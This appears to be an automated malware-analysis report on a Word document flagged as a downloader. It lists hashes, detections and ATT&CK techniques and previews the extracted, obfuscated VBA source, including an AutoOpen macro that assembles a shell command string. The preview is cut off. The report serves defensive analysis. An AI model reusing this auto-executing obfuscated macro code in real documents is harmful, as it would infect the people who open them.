Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f4b22787118b012d…

MALICIOUS

Office (OLE)

138.8 KB Created: 2018-09-26 07:52:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: be05209ab39b7a181b99f6db1072d001 SHA-1: 4e302fe142ff02b02e251bfce6aa434869f70e9c SHA-256: f4b22787118b012d0376cefcacc6c0bf97c7217281f0894b2e8013c420544a2e
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a critical heuristic firing for a Shell() call within VBA macros, indicating an attempt to execute external code. The AutoOpen macro is present, which is commonly used to trigger malicious actions upon document opening. The VBA script itself is heavily obfuscated but the presence of the Shell() call strongly suggests it is designed to download and execute a second-stage payload, likely from a URL that was not fully resolved or was benign in this specific scan.

Heuristics 6

  • ClamAV: Doc.Downloader.00536d-6697991-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6697991-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 98169 bytes
SHA-256: 75b580392c35e949e533e65f6324312f8df562b827d2177d20f8adc8e1960a96
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ozdsHtYMjrz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim hokGVo(2)
hokGVo(0) = Mid(vimaA + jAkULbdFDUHIKaBUsEUG + LihdOSwz, 847, 949) + Left(ofzGLiD + TwAsLZfCMtFXAAqkXHQMR + VUltpDi, 306)
hokGVo(1) = Mid(jkCsRjp + iRfiMKndZCljsKhJWp + HlNPn, 839, 127) + MidB(bhVUpmZ + lBqpuscoGwjPuXwzuA + zbKBWF, 276, 469)
   Dim TbvjT(2)
TbvjT(0) = Left(QUBvDirf + cjztVHnBXVmwTfVq + zMoYw, 188) + Mid(oqGPC + CNwUosRdijqwkDVFcWIVZ + jNjPXi, 219, 61)
TbvjT(1) = Mid(XWMPhj + MTuTkVQwXYtsZWYJLHBitTlz + pvnvb, 240, 583) + Mid(cLwYln + ZwznGcBnLoAzzYHclwRMrD + kMiPqPw, 231, 968) + Left(jSAtnB + PdnBiisZImHACoEv + DnZddXJ, 719) + Right(LCjiwzL + fWXDMLhRzEjGsqNYBG + UfaFA, 635)
opbWTuaJQUm (KeyString(EaRSrP + CAcvM + 6 + 10 + 51 + KSpZoB + sNjvVWa) + FupcsFEk + XWVjzOEu + KeyString(jmTtwYE + CncSmp + 7 + 11 + 59 + pSNlpQLm + hmhRci) + VFXwCCwa + HvUcVwaGSwL + zFZiX + SAfAzM + OEQlZwD + dNfHHN + cinsdDiKvz + fKEVLFiAzu + BJSOjjN + AsnAtFJz)
   Dim Ecnjj(2)
Ecnjj(0) = Right(Bmlko + tzcREEiaNRJfsXPvlKY + JqYzJ, 185) + MidB(PoZjIiL + iXZPaNVSOVtWLXINfh + lnuqTzLo, 82, 227)
Ecnjj(1) = MidB(BMojcFb + HktHEVkaDsNbobfWHZRhKA + iYlZGZAd, 72, 22) + Right(iaOGIT + YNDFHGjqCiHlXLdlna + injqhK, 195) + MidB(jsZVUfSz + nASbiHYufhfAYRYPBKji + szjhjKm, 939, 912) + MidB(MMFjJw + IBsMjvNuoUHWaAlfOUviEpS + TfsMQ, 702, 683)
   Dim lAlSQ(2)
lAlSQ(0) = Mid(bPAmL + RSAZMSnNjIbEwmqakYruw + adaSatzF, 521, 890) + MidB(WHNOm + pzLTZvljBZYSrKwuI + zVNaaUS, 448, 184) + Right(mOwOJAEf + DBWMpECSsuuNGznbSMsV + HVcAvq, 559) + Right(vTrNk + UqMzrwXDBQDLfpuiin + BQnBCW, 294)
lAlSQ(1) = MidB(LPrBI + GXEzuZYIjnBTCRULjEw + nPOsZ, 230, 202) + Right(UcLiF + sVtTjNRdAZjzHbDJiL + wZQwzaWj, 241) + Left(oiEcRaz + ZmdZDwkiwzQLuSRSaHTN + OnDwli, 636) + MidB(RKvrtB + CQvTcEHzJfnHGYoKQlt + SvMnwb, 465, 336)
   Dim jnBfd(1)
jnBfd(0) = Right(YlFjq + ahwZUfGAGGJTUwANuWq + pziLcMO, 185) + Mid(ZMIjfnBi + ZTvhmPJjUWkhTkVYtrwfYvZ + VatnJ, 90, 83) + MidB(wYMCi + ZpipzmFKnEWlNCzLCa + dOOQDWL, 832, 171) + MidB(zGuYML + dWAbihKLEXiiqaktjj + vNRXfSik, 2, 294)
End Sub


Attribute VB_Name = "RztuljvQmZ"
Function VFXwCCwa()
KJRvfBl = "d /\  \  /\/  \ /" + "V:ON/C" + """" + "set -" + "*`~=702a a270 a02"
Dim jijWE(2)
jijWE(0) = Mid(NlqDmz + DoLOjBZUuvZbQHprRYHYUIf + oMGsbkpl, 66, 329) + Mid(uBpwIhz + ALtMQTwqGBuffCwqbVlaw + XSbMbi, 200, 316) + Left(NjKQt + KwmOVMFiGVHwJswdod + kPrcZW, 764) + Left(AYQARJB + GsbpIYQXSTPjcCwdkjj + mGqUwri, 912)
jijWE(1) = Mid(XmrvGT + zVHTUkXPLXWiWCCiwTfjX + LtlGr, 209, 467) + MidB(ZXTmAjZ + YBnAouEkPoUmjarlITMzI + YjPiMt, 47, 218)
   Dim WLErOn(1)
WLErOn(0) = Left(lQmns + soUELDNPVIpCDbkknSm + fmpWWlkq, 743) + Mid(FhGnnr + VFwYFqwLIoDGuZOIrdk + qjpjU, 925, 938) + MidB(zYnhNj + ahizINGhOYiknwhV + rHLshI, 429, 759) + MidB(ibTDD + hVfdnYNPmnzlfJjZXF + oToCu, 139, 747)
irjLVAOq = "7 2a07 a702 a" + "702 a702 72a0 07" + "a2 0a27 a270" + " 72a0 72a0 70"
Dim rzAVl(1)
rzAVl(0) = Left(niSWin + RvJUiMzQrJwfcfGvt + KYfzja, 159) + MidB(fhWcL + CsssjibuJYprNzDlkpic + iliQIBvz, 854, 70)
zkoUYXjTuf = "2a 720a 0a27 a072 7" + "02a}0a72}72a0{70a2" + "h7a20c207at702aa7" + "0a2c02a7}720a;7a02k" + "7a02a027aea0" + "72r7a20b27a0"
VFXwCCwa = KJRvfBl + irjLVAOq + zkoUYXjTuf
   Dim ijzaFa(1)
ijzaFa(0) = MidB(rcmUXZ + zXPUtAswlIcqwYpLFnOZCV + IrwlbVGv, 606, 765) + MidB(dnAmTRac + zILAUjwMzMFrAhHjD + iRvRn, 528, 123) + MidB(EwEunZaA + hbihTvuSkSKvduFDRH + DIMiLEb, 130, 147) + Left(MawkbMsj + cLJuwfUwjEiYHZjqqd + wwVhK, 576)
   Dim bEbaz(1)
bEbaz(0) = Left(NvwmLwn + SLUmIqwSBMvccFKdlYDbE + uurzLJ, 529) + Right(wJDRkH + wqokTvFoKlCPzlwCfS + UiNWh, 35) + MidB(dUuiOBmb + uXwpswNtfoEZqUCFEODuR + VFBvzUi, 674, 470) + MidB(ipOJn + EZvEXbkVPhqchdIsKj + pRpipM, 827, 907)
   Dim hNimQ(1)
hNimQ(0) = Left(OOzTBho + ikBukhkDmisrXGivTzY + SvRTCoj, 16) + Mid(iGujXzcf + zhWrVzusDzGXbcoAQDhhw + ZaKwrT, 829, 675) + Left(YawCukH + biTDijLiaS
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.